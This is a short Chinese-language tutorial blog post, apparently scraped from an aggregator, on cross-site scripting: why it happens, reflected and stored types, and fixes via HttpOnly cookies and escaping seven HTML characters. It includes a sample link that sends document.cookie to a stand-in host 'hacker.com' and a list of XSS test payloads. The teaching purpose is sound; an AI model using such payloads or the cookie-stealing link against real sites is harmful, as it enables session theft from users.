簡單總結一下 XSS

你據說過XSS嗎?
XSS(Cross-site scripting, 跨站腳本)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。
研究代表,最近幾年 XSS 已經超過 「緩衝區溢出」 成爲最流行的攻擊方式,有68%的網站可能遭受此類攻擊。javascript

那麼檢測一下你是否充分了解 XSS 吧html

  1. XSS 爲何會發生?
  2. XSS 有幾種類型?
  3. XSS 如何預防和修復?

若是能夠回答👆3個問題,這篇文章對你提高是微乎其微的。
若是不能夠,你能夠花十分鐘左右閱讀一下。java

我目前的客戶是一家銀行,由於企業特性和業務需求,對系統安全高度重視。
所以,我不得不分析了整個系統,從中找出未對應 XSS 的 Code 。說實話,雖然是企業內部系統,可是代碼也很多,看代碼看的我都快吐了。數據庫

得益於此,讓我對XSS的理解更加深了一層。瀏覽器

1. XSS 爲何會發生?

由於用戶輸入的數據被當成代碼執行了。安全

那麼,爲何用戶輸入的數據會被當成代碼而且被執行呢?
由於當用戶輸入尖括號< >,引號' ",斜槓/之類的特殊字符時,可能破壞原始的代碼結構,致使輸入的部份內容被當成代碼,而且被執行。服務器

[小例子]
假若有下面一個textboxcookie

<input type="text" name="message" value="hello tj">

hello tj是來自用戶的輸入,若是用戶不是輸入hello tj,而是輸入"/><script>alert(document.cookie)</script><p name=" 那麼就會變成👇的樣子。可不可怕?xss

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">

2. XSS 有幾種類型?

XSS 有兩種類型,反射型XSS持久型XSS測試

反射型XSS

也就是非持久型XSS,常見誘騙用戶點擊帶有攻擊代碼的URL連接,連接被瀏覽器執行,從而攻擊用戶。
只有當前用戶被影響,影響範圍:小。

[小例子]

<a href="http://xxx91.com/index?term=<script>window.open('http://hacker.com?yourcookie='+document.cookie)</script>">小姐姐</a>

若是你點擊了👆連接,你cookie信息就有可能被髮送到黑客的服務器http://hacker.com
雖然連接可能被用戶懷疑,可是能夠經過短網址服務將之縮短,從而隱藏攻擊代碼。

持久型XSS

也叫存儲型XSS,提交包含攻擊代碼的數據到服務器。
全部瀏覽這部分數據的用戶都將被攻擊代碼影響,影響範圍:大

[小例子]
html模版以下:

<input type="text" name="message" value="${message}">

當從數據庫查詢的 message 以下:
"/><script>alert(document.cookie)</script><p name="
生成的 html 將變成👇:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><p name="">

此時,html可能已經不受咱們控制了。

3. XSS 如何預防和修復?

原則:全部用戶輸入都是不可信的。(注意:攻擊代碼不必定僅在<script></script>中。)

  • 預防 反射型XSS
    將重要的cookie標記爲http only,這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了。

  • 預防 持久型XSS
    處理掉可能破壞原始代碼結構的特殊字符。將特殊字符編碼成轉義字符,使其成爲數據的一部分而不是代碼。
    [須要編碼的7個字符]
&     –>     &amp;
<     –>     &lt;
>     –>     &gt;
"     –>     &quot;
`     ->     &#x60;
'     –>     &#x27;
/     –>     &#x2f;

有兩點須要特別說明的是:

  1. 不推薦將單引號'編碼爲 &apos; ,由於它並非標準的HTML標籤
  2. 須要對斜槓號/編碼,由於在進行XSS攻擊時,斜槓號對於關閉當前HTML標籤很是有用

(最後)

  1. 分享一段簡單的代碼
function escapeHtml(value) {
  if (typeof value !== 'string') {
    return value
  }
  return value.replace(/[&<>`"'\/]/g, function(result) {
    return {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '`': '&#x60;',
      '"': '&quot;',
      "'": '&#x27;',
      '/': '&#x2f;',
    }[result]
  })
}
  1. 分享一些用於檢測 XSS 的測試用例
><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert (vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">

但願這篇文章對你有幫助。by iamtjcn
首發:blog.iamtjcn.com

相關文章
相關標籤/搜索